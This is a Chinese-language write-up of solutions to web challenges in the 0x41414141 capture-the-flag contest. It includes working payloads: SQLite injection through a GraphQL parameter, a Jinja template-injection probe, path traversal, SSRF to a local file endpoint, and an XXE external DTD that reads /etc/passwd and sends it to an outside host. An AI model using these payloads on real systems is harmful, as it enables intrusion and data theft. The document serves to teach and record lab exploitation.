打了一周左右的0x41414141 ,这个比赛的web还是有一些值得记录的点,所以写篇记录来记录一下
国内对graphql的考点还是比较少的,据我所知道的只有unctf2019,这道题目对于题目的设计和解题方案会让你觉得还蛮有趣的
一开始看到这个提交笔记的点,我直接尝试一下发现不行,viewsource一下
他给出了graphql查询的接口
因为我一直知道graphql 有个注入的洞,所以当时满脑子想的都是怎么注入拿数据了,结果没什么收益,所以我直接通过那个查询接口列出一些数据
甚至在coolNotes里面发现了 flag,后来发现是个fake
但是如果你足够敏锐的话,可以看到getNote 有个q参数。所以我决定提交个空参数来试一下
query{
getNote(q: "'"){
uuid
title
body
authorId
id
}
}
结果我收到了返回值
{
"errors": [
{
"message": "(sqlite3.OperationalError) unrecognized token: \"'''\"\n[SQL: SELECT * FROM NOTES where uuid=''']\n(Background on this error at: http://sqlalche.me/e/13/e3q8)",
"locations": [
{
"line": 2,
"column": 3
}
],
"path": [
"getNote"
]
}
],
"data": {
"getNote": null
}
}
很明显了,在这个参数里面居然是一个sqlite注入,并且这个错误能告诉我们好多东西了,比如,这是一个sqlite数据库,有个表名是Note uuid是其中一个列,剩下的就是常规的注入了
常规payload步骤
{getNote(q:"'UNION SELECT,tbl_name,3,4 FROM sqlite_master WHERE type%3d'table'--"){body,title}
表名是'\u0627\u0644\u0639\u0644\u0645',赛后发现居然真的有师傅解了233
query {getNote(q: "' UNION SELECT 1, flag,3, 4 FROM '\u0627\u0644\u0639\u0644\u0645'--"){body,title}
Flag found! flag{h0p3_u_can't_r3@d_1t9176}
推荐阅读:https://book.hacktricks.xyz/pentesting/pentesting-web/graphql
推荐观看:https://www.youtube.com/watch?v=ZQL7tL2S0oQ
尝试一些口令登陆没有效果,于是搜寻一下信息,发现有/robots.txt
/sup3rsecr37@p1
访问这个路由
直接给了一个graphql界面,先看一下大概 ,password在哪里
然后就是直接尝试读取这个password,当时我就觉得好奇怪,username和password不在一起
后来怎么也登录不上去,于是尝试在password附近读一下其他东西
然后我就用title,password成功登陆了,服了
打开就三个交互页面,并且还有/admin,估计我们要进入他了
很自然而然的又想到了是sql注入啦
经过测试还是sqlite
所以我们照常注入即可
账号密码
admin/p0To3zTQuvFDzjhO9
进入发现是个动画界面
直接看下cookies
发现name里面也有skid,想到可能是ssti
尝试{{1+1}}
果然是这样
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Repr' %}{{ [].__class__.__base__.__subclasses__().index(c) }}{% endif %}{% endfor %}
先用这个方法探测可用类
得到147
然后就读flag就好
一道四字符命令执行的题目,后来发现是五步,这个我一开始非预期了
ls发现当前有个core,直接cat就读到flag,后来pop_eax和我说他修复了,让我再看看
那我就直接创建一个cat空文件
然后再传入 /f即可
flag{ju57_g0tt@_5pl1t_Em3012}
一道有意思的题,开头让注册登录,抓了半天包在这个修改页面发现一些有趣的事情
在customesize这里
把content-type头改xml,可以写入xml
那就直接考虑xxe
我们在服务器写一个
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://givemeflag.com/?x=%file;'>">
%eval;
%exfiltrate;
然后发送xxe请求即可
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://xxx/main.dtd"> %sp; %param1; ]> <root> <size>&exfil;</size> <color>red</color> </root>
flag{i7_1s_n0t_s0_bl1nd3721}
提示no logged in
直接尝试访问/login
随便输入一个账号登陆
发现了三个动态交互的页面,我查看了一下http头
发现这个
使用express写的,去找了些express的洞,但是这道题只有三个页面
并且还是id开头
再次尝试sql注入没反应,我尝试直接加个flag
something here,
那就是这个logo了
图片隐写我并不擅长,所以我使用了在线工具
在steghide里面有个文件
看样子可以进行内网的文件探测或者读取
刚开始因为没审题,没有get到点,后来一个师傅给了hint 这题关键点是
I tried to serve it as local file
本地机器访问,127.0.0.1
本地文件 get_file?file=
可能还是我英语不好的原因,错过了提示信息
http://45.134.3.200:3000/get_url?url=http://127.0.0.1:3000/get_file?file=flag.txt
直接get flag
我发现当我尝试进行选择coin的时候
value的值
正好是base64加密后的coin名称
我们在js里面尝试回溯这个函数
function switchCoin() {
window.location = "/changeFeed/" + document.getElementById("coinlist").value
}
所以加密flag.txt通过不断试目录即可
如果不存在coin会存在woops
最终payload:../../../../../../../../flag.txt
非常有趣的一道题
I think offshift promised to opensource some of their code
访问他们官方的文档
发现他删除了_pycache_directory
下载下来并进行反编译
uncompyle6 -o . script.cpython-38.pyc
代码如下
import base64 secret = 'https://google.com' cipher2 = [b'NDE=', b'NTM=', b'NTM=', b'NDk=', b'NTA=', b'MTIz', b'MTEw', b'MTEw', b'MzI=', b'NTE=', b'MzQ=', b'NDE=', b'NDA=', b'NTU=', b'MzY=', b'MTEx', b'NDA=', b'NTA=', b'MTEw', b'NDY=', b'MTI=', b'NDU=', b'MTE2', b'MTIw'] cipher1 = [base64.b64encode(str(ord(i) ^ 65).encode()) for i in secret]
一个简单的reverse就好
result = [chr(int(base64.b64decode(i).decode())^65) for i in cipher2]
print(''.join(result))
得到一个链接 https://archive.is/oMl59.
下载得到的pdf文件无法打开
官方给出hint 文件和官方名有关系
将文件的每个字节和0x41进行异或,脚本如下
corrupted = open('smashing.pdf', 'rb') data = corrupted.read() new_file = open('unsmashed.pdf', 'wb') new_file.write((''.join(chr(i ^ 0x41) for i in data)).encode('charmap'))
发现文件里并没有什么,想到可能里面有压缩包,我们用fcrackzip进行爆破
get flag